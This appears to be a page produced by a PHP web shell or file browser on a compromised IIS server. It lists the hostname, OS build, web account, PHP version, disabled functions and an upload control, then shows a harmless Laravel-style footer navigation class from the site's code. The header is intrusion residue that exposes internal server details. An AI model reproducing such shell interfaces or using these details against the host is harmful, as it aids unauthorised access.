HEX
Server: Microsoft-IIS/8.5
System: Windows NT YDAWBH120 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
User: tentjecom_web (0)
PHP: 7.4.14
Disabled: NONE
Upload Files
File: D:/HostingSpaces/SBogers106/rvt-trainingen.nl/app/Komma/Navigation/FooterComposer.php
<?php

namespace Komma\Navigation;

class FooterComposer extends NavigationComposer{

    public function __construct()
    {
        parent::__construct();
    }

    /**
     * Provide footer with navigation
     *
     * @param $view
     */
    public function compose($view)
    {

        $mainNav = \Config::get('basic.footer_navigation');

        $navPages = $this->pageService->getPagesRoutesIn($mainNav);
        $simplePages = $this->simplePageService->getSimplePagesRoutesIn($mainNav);

        $navigation = $this->orderNavigationByStructure($mainNav, [$navPages, $simplePages]);

        $view->with(['footerNav'=> $navigation]);
    }
}